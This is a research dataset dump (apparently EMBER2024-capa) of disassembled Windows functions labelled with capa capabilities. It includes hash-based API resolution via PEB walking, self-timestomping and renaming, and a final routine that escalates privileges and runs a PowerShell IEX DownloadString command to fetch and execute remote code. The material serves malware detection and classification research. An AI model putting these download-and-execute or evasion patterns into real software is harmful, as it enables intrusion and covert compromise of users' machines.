joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403d04
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x49400c]
xor eax, ebp
mov dword [ebp - 4], eax
and dword [ebp - 8], 0
mov eax, dword [0x494700]
mov dword [ebp - 0x18], ecx
push ebx
push esi
push edi
test eax, eax
jne 0x403dc1
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edx, dword [eax + 0x18]
mov ecx, dword [edx + 0x3c]
mov ebx, dword [ecx + edx + 0x78]
add ebx, edx
cmp ebx, edx
je 0x403da3
mov esi, dword [ebx + 0x18]
test esi, esi
je 0x403da3
mov ecx, dword [ebx + 0x20]
lea ecx, [ecx + esi*4]
add ecx, edx
sub ecx, 4
mov dword [ebp - 0x10], 0x14c9ad8a
dec esi
mov dword [ebp - 0x14], ecx
mov edi, dword [ecx]
add edi, edx
mov dl, byte [edi]
inc edi
mov byte [ebp - 9], dl
test dl, dl
mov edx, dword [eax + 0x18]
je 0x403d9f
mov cl, byte [ebp - 9]
mov edx, dword [ebp - 0x10]
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [edi]
inc edi
test cl, cl
jne 0x403d7b
mov dword [ebp - 0x10], edx
cmp dword [ebp - 0x10], 0x7e095e78
mov edx, dword [eax + 0x18]
je 0x403da7
mov ecx, dword [ebp - 0x14]
test esi, esi
jne 0x403d56
mov eax, dword [eax]
jmp 0x403d37
mov eax, dword [ebx + 0x24]
lea eax, [eax + esi*2]
movzx ecx, word [eax + edx]
mov eax, dword [ebx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
mov dword [0x494700], eax
push 0
push 2
lea ecx, [ebp - 8]
push ecx
push dword [ebp - 0x18]
push dword [0x4946fc]
call eax
mov ecx, dword [ebp - 4]
mov ax, word [ebp - 8]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.0044cc96
leave
ret

Function at 0x4057dd
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, edx
mov edx, dword [ebp + 8]
push edi
mov edi, ecx
not edx
movzx eax, byte [edi]
movzx ecx, dl
xor ecx, eax
shr edx, 8
xor edx, dword [ecx*4 + 0x456c30]
inc edi
sub esi, 1
jne 0x4057eb
pop edi
not edx
pop esi
mov eax, edx
pop ebp
ret

Function at 0x40580b
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, edx
not ebx
mov esi, ecx
mov edx, ebx
test edi, edi
je 0x40586f
mov al, byte [esi]
dec edi
inc esi
cmp al, 0x23
jne 0x405837
cmp edi, 2
jb 0x405837
cmp byte [esi], al
jne 0x405837
cmp byte [esi + 1], al
cmove edx, ebx
movzx ecx, dl
movzx eax, al
xor ecx, eax
shr edx, 8
xor edx, dword [ecx*4 + 0x456c30]
test edi, edi
jne 0x405820
jmp 0x405876
cmp al, 0x23
jne 0x40585d
cmp byte [esi], al
jne 0x40585d
cmp byte [esi + 1], al
cmove edx, ebx
movzx ecx, dl
movzx eax, al
xor ecx, eax
shr edx, 8
xor edx, dword [ecx*4 + 0x456c30]
mov al, byte [esi]
inc esi
test al, al
jne 0x40584f
pop edi
not edx
pop esi
mov eax, edx
pop ebx
pop ebp
ret
Function at 0x4059ec
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, ecx
push edi
test esi, esi
jne 0x405a10
push 0x645
push str.C:UsersIgorDesktopErisimguiimgui.cpp
push str.filename__mode
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
add esp, 0xc
mov edi, dword [ebp + 8]
test edi, edi
je 0x405a1a
and dword [edi], 0
mov edx, 0x454c60
mov ecx, esi
call fcn.0040587f
mov esi, eax
test esi, esi
je 0x405a82
mov ecx, esi
call fcn.00405990
mov ebx, eax
cmp ebx, 0xffffffff
je 0x405a7b
mov ecx, ebx
call fcn.00407e02
mov dword [ebp + 8], eax
test eax, eax
je 0x405a7b
push esi
push ebx
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
mov ecx, esi
cmp eax, ebx
je 0x405a6b
call fcn.00405981
mov ecx, dword [ebp + 8]
call fcn.00407e1a
jmp 0x405a82
call fcn.00405981
test edi, edi
je 0x405a76
mov dword [edi], ebx
mov eax, dword [ebp + 8]
jmp 0x405a84
mov ecx, esi
call fcn.00405981
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x416854
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
mov esi, ecx
mov ebx, edx
push edi
cmp dword [esi + 0x3030], 0
lea edi, [esi + 0x3034]
mov ecx, edi
je 0x4168b1
push 0
call fcn.00420387
push dword [ebp + 8]
mov ecx, edi
push ebx
call fcn.00406347
mov edx, dword [edi]
mov ecx, 0x494844
push dword [esi + 0x3030]
lea eax, [edx - 1]
neg edx
sbb edx, edx
and edx, eax
mov eax, dword [esi + 0x303c]
test eax, eax
push edx
cmovne ecx, eax
push 1
push ecx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
jmp 0x4168ba
push dword [ebp + 8]
push ebx
call fcn.00406347
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x416f81
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x494848]
push esi
mov esi, ecx
push edi
and dword [eax + 0x2fe4], 0
test esi, esi
je 0x416fd0
and dword [ebp - 4], 0
lea ecx, [ebp - 4]
call fcn.00416fd4
mov edx, 0x454c64
mov ecx, esi
mov edi, eax
call fcn.0040587f
mov esi, eax
test esi, esi
je 0x416fd0
push esi
push dword [ebp - 4]
push 1
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
mov ecx, esi
call fcn.00405981
pop edi
pop esi
leave
ret
Function at 0x4269d1
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push esi
mov esi, ecx
push edi
xor edi, edi
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x4269eb
mov dword [esi + 4], edi
mov dword [esi], edi
call fcn.00407e1a
mov dword [esi + 8], edi
lea ecx, [esi + 0xc]
call fcn.00403e90
mov ecx, dword [esi + 0x20]
test ecx, ecx
je 0x426a08
mov dword [esi + 0x1c], edi
mov dword [esi + 0x18], edi
call fcn.00407e1a
mov dword [esi + 0x20], edi
mov dword [esi + 0x24], edi
mov dword [esi + 0x28], edi
mov dword [esi + 0x34], edi
mov dword [esi + 0x38], edi
mov ecx, dword [esi + 0x44]
test ecx, ecx
je 0x426a29
mov dword [esi + 0x40], edi
mov dword [esi + 0x3c], edi
call fcn.00407e1a
mov dword [esi + 0x44], edi
mov ecx, dword [esi + 0x50]
test ecx, ecx
je 0x426a3e
mov dword [esi + 0x4c], edi
mov dword [esi + 0x48], edi
call fcn.00407e1a
mov dword [esi + 0x50], edi
mov ecx, dword [esi + 0x5c]
test ecx, ecx
je 0x426a53
mov dword [esi + 0x58], edi
mov dword [esi + 0x54], edi
call fcn.00407e1a
mov dword [esi + 0x5c], edi
pop edi
lea ecx, [esi + 0x78]
pop esi
jmp fcn.0042917c
Function at 0x42f8d3
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x49400c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
call fcn.00407efb
mov edi, eax
xor ebx, ebx
mov eax, dword [edi + 0x90]
cmp dword [eax + 0x34], ebx
jle 0x42f904
cmp dword [eax + 0x14], ebx
jne 0x42f91c
cmp dword [eax + 0x18], ebx
jne 0x42f91c
push 0x15e
push str.C:UsersIgorDesktopErisimguiimgui_impl_win32.cpp
push str.io.Fonts__IsBuilt_____Font_atlas_not_built__It_is_generally_built_by_the_renderer_backend._Missing_call_to_renderer__NewFrame___function__e.g._ImGui_ImplOpenGL3_NewFrame__._
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
add esp, 0xc
lea eax, [ebp - 0x20]
xorps xmm0, xmm0
push eax
push dword [0x4948c0]
movups xmmword [ebp - 0x20], xmm0
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x20]
movd xmm1, eax
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0x1c]
cvtdq2ps xmm1, xmm1
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movss dword [edi + 8], xmm1
movss dword [edi + 0xc], xmm0
cmp byte [0x494241], bl
je 0x42f964
call fcn.0042f899
lea eax, [ebp - 0x10]
xorps xmm0, xmm0
push eax
movlpd qword [ebp - 0x10], xmm0
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov ecx, dword [ebp - 0x10]
sub ecx, dword [0x4948c8]
mov edx, dword [ebp - 0xc]
sbb edx, dword [0x4948cc]
call fcn.0044e160
mov edx, dword [0x4948d4]
mov ecx, dword [0x4948d0]
cvtsd2ss xmm0, xmm0
movss dword [ebp - 0x24], xmm0
call fcn.0044e160
movss xmm1, dword [ebp - 0x24]
cvtsd2ss xmm0, xmm0
mov esi, dword [sym.imp.USER32.dll_GetKeyState]
push 0x11
divss xmm1, xmm0
movss dword [edi + 0x10], xmm1
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword [0x4948c8], eax
mov dword [0x4948cc], ecx
call esi
shr eax, 0xf
and al, 1
push 0x10
mov byte [edi + 0xf8], al
call esi
shr eax, 0xf
and al, 1
push 0x12
mov byte [edi + 0xf9], al
call esi
shr eax, 0xf
and al, 1
mov byte [edi + 0xfb], bl
mov byte [edi + 0xfa], al
call fcn.0042f37f
cmp byte [edi + 0xaf], bl
je 0x42fa15
or eax, 0xffffffff
jmp 0x42fa20
mov eax, dword [0x494848]
mov eax, dword [eax + 0x1f58]
cmp dword [0x494244], eax
je 0x42fa32
mov dword [0x494244], eax
call fcn.0042f2d3
call fcn.0042f4e2
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0044cc96
leave
ret
Function at 0x4456bf
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x494910]
push ebx
push esi
push edi
push 0x20
mov dword [ebp - 0x10], eax
call dword [sym.imp.d3d9.dll_Direct3DCreate9]
mov dword [0x495d38], eax
test eax, eax
je 0x4457e3
mov eax, dword [0x494928]
test eax, eax
jne 0x445788
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edx, dword [eax + 0x18]
mov ecx, dword [edx + 0x3c]
mov ebx, dword [ecx + edx + 0x78]
add ebx, edx
cmp ebx, edx
je 0x44576a
mov esi, dword [ebx + 0x18]
test esi, esi
je 0x44576a
mov ecx, dword [ebx + 0x20]
lea ecx, [ecx + esi*4]
add ecx, edx
sub ecx, 4
mov dword [ebp - 8], 0x12c9aa64
dec esi
mov dword [ebp - 0xc], ecx
mov edi, dword [ecx]
add edi, edx
mov dl, byte [edi]
inc edi
mov byte [ebp - 1], dl
test dl, dl
mov edx, dword [eax + 0x18]
je 0x445766
mov cl, byte [ebp - 1]
mov edx, dword [ebp - 8]
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [edi]
inc edi
test cl, cl
jne 0x445742
mov dword [ebp - 8], edx
cmp dword [ebp - 8], 0xde2e7fa3
mov edx, dword [eax + 0x18]
je 0x44576e
mov ecx, dword [ebp - 0xc]
test esi, esi
jne 0x44571d
mov eax, dword [eax]
jmp 0x4456fe
mov eax, dword [ebx + 0x24]
lea eax, [eax + esi*2]
movzx ecx, word [eax + edx]
mov eax, dword [ebx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
mov dword [0x494928], eax
push 0x38
xor edi, edi
mov esi, 0x495d3c
push edi
push esi
call eax
mov ecx, dword [0x495d38]
add esp, 0xc
xor edx, edx
mov dword [0x495d44], edi
inc edx
mov dword [0x495d64], 0x50
mov dword [0x495d5c], edx
push 0x495d34
push esi
push 0x40
push dword [ebp - 0x10]
mov dword [0x495d54], edx
push edx
mov dword [0x495d60], edx
mov dword [0x495d70], edx
mov eax, dword [ecx]
push edi
push ecx
call dword [eax + 0x40]
test eax, eax
setns al
jmp 0x4457e5
xor al, al
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4473c1
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x49400c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov ebx, ecx
push eax
mov dword [ebp - 0x1c], ebx
call fcn.004471ff
pop ecx
test eax, eax
je 0x4474bc
mov ecx, dword [ebx]
add ecx, dword [ebp + 0xc]
add eax, ecx
mov ecx, dword [0x494954]
mov dword [ebp - 0x18], eax
test ecx, ecx
jne 0x4474a0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edx, dword [eax + 0x18]
mov ecx, dword [edx + 0x3c]
mov ebx, dword [ecx + edx + 0x78]
add ebx, edx
cmp ebx, edx
je 0x44747b
mov esi, dword [ebx + 0x18]
test esi, esi
je 0x44747b
mov ecx, dword [ebx + 0x20]
lea ecx, [ecx + esi*4]
add ecx, edx
sub ecx, 4
mov dword [ebp - 0x10], 0x70fa9381
dec esi
mov dword [ebp - 0x14], ecx
mov edi, dword [ecx]
add edi, edx
mov dl, byte [edi]
inc edi
mov byte [ebp - 9], dl
test dl, dl
mov edx, dword [eax + 0x18]
je 0x447477
mov cl, byte [ebp - 9]
mov edx, dword [ebp - 0x10]
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [edi]
inc edi
test cl, cl
jne 0x447453
mov dword [ebp - 0x10], edx
cmp dword [ebp - 0x10], 0x6ed33dc9
mov edx, dword [eax + 0x18]
je 0x44747f
mov ecx, dword [ebp - 0x14]
test esi, esi
jne 0x44742e
mov eax, dword [eax]
jmp 0x44740f
mov eax, dword [ebx + 0x24]
lea eax, [eax + esi*2]
movzx ecx, word [eax + edx]
mov eax, dword [ebx + 0x1c]
mov ebx, dword [ebp - 0x1c]
lea eax, [eax + ecx*4]
mov ecx, dword [eax + edx]
mov eax, dword [ebp - 0x18]
add ecx, edx
mov dword [0x494954], ecx
push 0
push 4
lea edx, [ebp - 8]
push edx
push eax
push dword [0x494978]
call ecx
test eax, eax
je 0x4474bc
mov eax, dword [ebp - 8]
sub eax, dword [ebx]
jmp 0x4474be
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0044cc96
leave
ret
Function at 0x449341
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
push 2
push 0
push dword [ebp + 8]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
add esp, 0xc
test eax, eax
jne 0x4493cb
push dword [ebp + 8]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov esi, eax
pop ecx
test esi, esi
js 0x4493cb
jne 0x449371
xor eax, eax
jmp 0x4493ce
lea eax, [esi + 1]
push 0x450340
push eax
call fcn.0044d2bb
mov edi, eax
pop ecx
pop ecx
test edi, edi
jne 0x44938b
push 0xfffffffffffffffe
jmp 0x4493cd
xor eax, eax
push eax
push eax
push dword [ebp + 8]
mov byte [edi + esi], al
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
add esp, 0xc
push dword [ebp + 8]
push esi
push 1
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
cmp eax, esi
je 0x4493b7
push 0xfffffffffffffffd
pop esi
jmp 0x4493c0
push eax
push edi
call fcn.00449b11
mov esi, eax
push edi
call fcn.0044d2b6
pop ecx
mov eax, esi
jmp 0x4493ce
push 0xfffffffffffffffd
pop eax
pop edi
pop esi
pop ecx
pop ebp
ret 4
Function at 0x44b75c
Capabilities:
Move file
Timestomp file

Disassembly:
push 0x15c
mov eax, 0x44edc8
call fcn.0044dce6
push 0x104
lea eax, [ebp - 0x11c]
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push ebx
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
pop ecx
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
pop ecx
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
xor esi, esi
push 0x1b
inc esi
pop edx
mov ecx, esi
call fcn.0044b6c1
push 0xb
pop edx
mov ecx, esi
mov word [ebp - 0x126], ax
call fcn.0044b6c1
mov edx, 0x7ea
mov word [ebp - 0x12a], ax
lea ecx, [edx - 0x1c]
call fcn.0044b6c1
push 0x3a
pop edx
mov ecx, esi
mov word [ebp - 0x12c], ax
call fcn.0044b6c1
push 0x17
pop edx
mov ecx, esi
mov word [ebp - 0x120], ax
call fcn.0044b6c1
push 0x3a
pop edx
mov ecx, esi
mov word [ebp - 0x124], ax
call fcn.0044b6c1
mov word [ebp - 0x122], ax
lea eax, [ebp - 0x134]
push eax
lea eax, [ebp - 0x12c]
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
push ebx
push 0x80
push 3
push ebx
push 3
push 0x100
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
lea ecx, [ebp - 0x134]
push ecx
push ebx
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push 0x19
pop edx
push 6
pop ecx
call fcn.0044b6c1
mov edx, eax
lea ecx, [ebp - 0x168]
call fcn.0044b626
mov edx, eax
mov dword [ebp - 4], ebx
mov eax, dword [edx + 0x14]
mov ecx, dword [edx + 0x10]
sub eax, ecx
cmp eax, 4
jb 0x44b891
cmp dword [edx + 0x14], 0x10
lea eax, [ecx + 4]
mov dword [edx + 0x10], eax
mov eax, edx
jb 0x44b884
mov eax, dword [edx]
mov dword [eax + ecx], 0x6578652e
mov byte [eax + ecx + 4], bl
jmp 0x44b8ab
push 4
push ecx
mov byte [ebp - 0x138], bl
mov ecx, edx
push dword [ebp - 0x138]
push 4
call fcn.0044bc0f
mov edx, eax
xor eax, eax
lea edi, [ebp - 0x150]
stosd dword es:[edi], eax
mov esi, edx
push 6
pop ecx
push 0xf
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x150]
mov dword [ebp - 0x13c], ebx
lea edi, [ebp - 0x150]
mov dword [ebp - 0x140], ebx
rep movsd dword es:[edi], dword [esi]
pop esi
mov dword [edx + 0x10], ebx
mov dword [edx + 0x14], esi
mov byte [edx], bl
cmp dword [ebp - 0x13c], 0x10
cmovae eax, dword [ebp - 0x150]
push eax
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_rename]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x13c]
cmp ecx, 0x10
jb 0x44b93a
mov edx, dword [ebp - 0x150]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44b931
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x44b931
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.0044d0bf
pop ecx
pop ecx
lea ecx, [ebp - 0x168]
mov dword [ebp - 0x140], ebx
mov dword [ebp - 0x13c], esi
mov byte [ebp - 0x150], bl
call fcn.00447feb
call fcn.0044dca4
ret
Function at 0x44bd93
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push esi
mov esi, ecx
push edi
mov edi, 0x270
cmp dword [esi], edi
jne 0x44bddb
lea edx, [esi + 8]
mov ecx, dword [edx]
lea edx, [edx + 4]
xor ecx, dword [edx - 8]
and ecx, 0x7fffffff
xor ecx, dword [edx - 8]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx + 0x62c]
xor eax, ecx
mov dword [edx + 0x9b8], eax
sub edi, 1
jne 0x44bda3
jmp 0x44bde8
cmp dword [esi], 0x4e0
jb 0x44bde8
call fcn.0044be22
mov eax, dword [esi]
pop edi
mov edx, dword [esi + eax*4 + 4]
inc eax
mov dword [esi], eax
mov ecx, edx
mov eax, dword [esi + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
pop esi
ret

Function at 0x44be22
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 4], esi
lea edi, [esi + 0x9c4]
mov esi, 0xe3
mov ebx, dword [edi]
mov eax, ebx
lea edi, [edi + 4]
mov ebx, dword [edi]
mov ecx, eax
xor ecx, ebx
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edi + 0x630]
xor eax, ecx
mov dword [edi - 0x9c4], eax
sub esi, 1
jne 0x44be3b
mov edi, dword [ebp - 4]
mov esi, 0x18c
add edi, 0xd50
mov ebx, dword [edi]
mov eax, ebx
lea edi, [edi + 4]
mov ebx, dword [edi]
mov ecx, eax
xor ecx, ebx
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edi - 0xd50]
xor eax, ecx
mov dword [edi - 0x9c4], eax
sub esi, 1
jne 0x44be83
mov esi, dword [ebp - 4]
pop edi
mov eax, dword [esi + 0x1380]
mov ecx, dword [esi + 4]
xor ecx, eax
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [esi + 0x634]
xor eax, ecx
and dword [esi], 0
mov dword [esi + 0x9c0], eax
pop esi
pop ebx
leave
ret
Function at 0x44bef9
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x494980]
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x14], ecx
push ebx
push esi
push edi
test eax, eax
jne 0x44bfab
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov edx, dword [eax + 0x18]
mov ecx, dword [edx + 0x3c]
mov ebx, dword [ecx + edx + 0x78]
add ebx, edx
cmp ebx, edx
je 0x44bf8d
mov esi, dword [ebx + 0x18]
test esi, esi
je 0x44bf8d
mov ecx, dword [ebx + 0x20]
lea ecx, [ecx + esi*4]
add ecx, edx
sub ecx, 4
mov dword [ebp - 8], 0x705e9e05
dec esi
mov dword [ebp - 0xc], ecx
mov edi, dword [ecx]
add edi, edx
mov dl, byte [edi]
inc edi
mov byte [ebp - 1], dl
test dl, dl
mov edx, dword [eax + 0x18]
je 0x44bf89
mov cl, byte [ebp - 1]
mov edx, dword [ebp - 8]
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [edi]
inc edi
test cl, cl
jne 0x44bf65
mov dword [ebp - 8], edx
cmp dword [ebp - 8], 0xa0fcecd5
mov edx, dword [eax + 0x18]
je 0x44bf91
mov ecx, dword [ebp - 0xc]
test esi, esi
jne 0x44bf40
mov eax, dword [eax]
jmp 0x44bf21
mov eax, dword [ebx + 0x24]
lea eax, [eax + esi*2]
movzx ecx, word [eax + edx]
mov eax, dword [ebx + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
mov dword [0x494980], eax
push 0
push 0x80
push dword [ebp - 0x10]
push dword [ebp - 0x14]
push dword [0x494978]
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x44d8bc
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x44d8fb
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x44d8fb
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x44d8fb
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x44d8fb
cmp dword [ecx + 0x74], 0xe
jbe 0x44d8fb
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x4014b3
Capabilities:
Execute command

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._LoadLibraryA_4
sub esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x4014e6
mov dword [esp], str.Error:_Failed_to_load_payload_DLL
call sym._puts
mov eax, 0
jmp 0x401543
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._FreeLibrary_4
sub esp, 4
call dbg.EscalatePrivileges
xor eax, 1
test al, al
je 0x401513
mov dword [esp], str.Error:_Failed_to_escalate_privileges
call sym._puts
mov eax, 0
jmp 0x401543
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], str.powershell.exe__ExecutionPolicy_Bypass__NoLogo__NoProfile__Command__IEX___New_Object_Net.WebClient_.DownloadString__s___
lea eax, [ebp - 0x40c]
mov dword [esp], eax
call sym._sprintf
lea eax, [ebp - 0x40c]
mov dword [esp], eax
call sym._system
mov eax, 1
leave
ret

Function at 0x401545
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
call sym._GetCurrentProcess_0
mov edx, eax
lea eax, [ebp - 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 8
mov dword [esp], edx
call sym._OpenProcessToken_12
sub esp, 0xc
test eax, eax
jne 0x40157a
mov eax, 1
jmp 0x401607
lea eax, [ebp - 0x1c]
add eax, 4
mov dword [esp + 8], eax
mov dword [esp + 4], str.SeDebugPrivilege
mov dword [esp], 0
call sym._LookupPrivilegeValueA_12
sub esp, 0xc
test eax, eax
je 0x401602
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x10
lea edx, [ebp - 0x1c]
mov dword [esp + 8], edx
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._AdjustTokenPrivileges_24
sub esp, 0x18
test eax, eax
jne 0x4015ed
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, 1
jmp 0x401607
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, 1
jmp 0x401607
mov eax, 1
leave
ret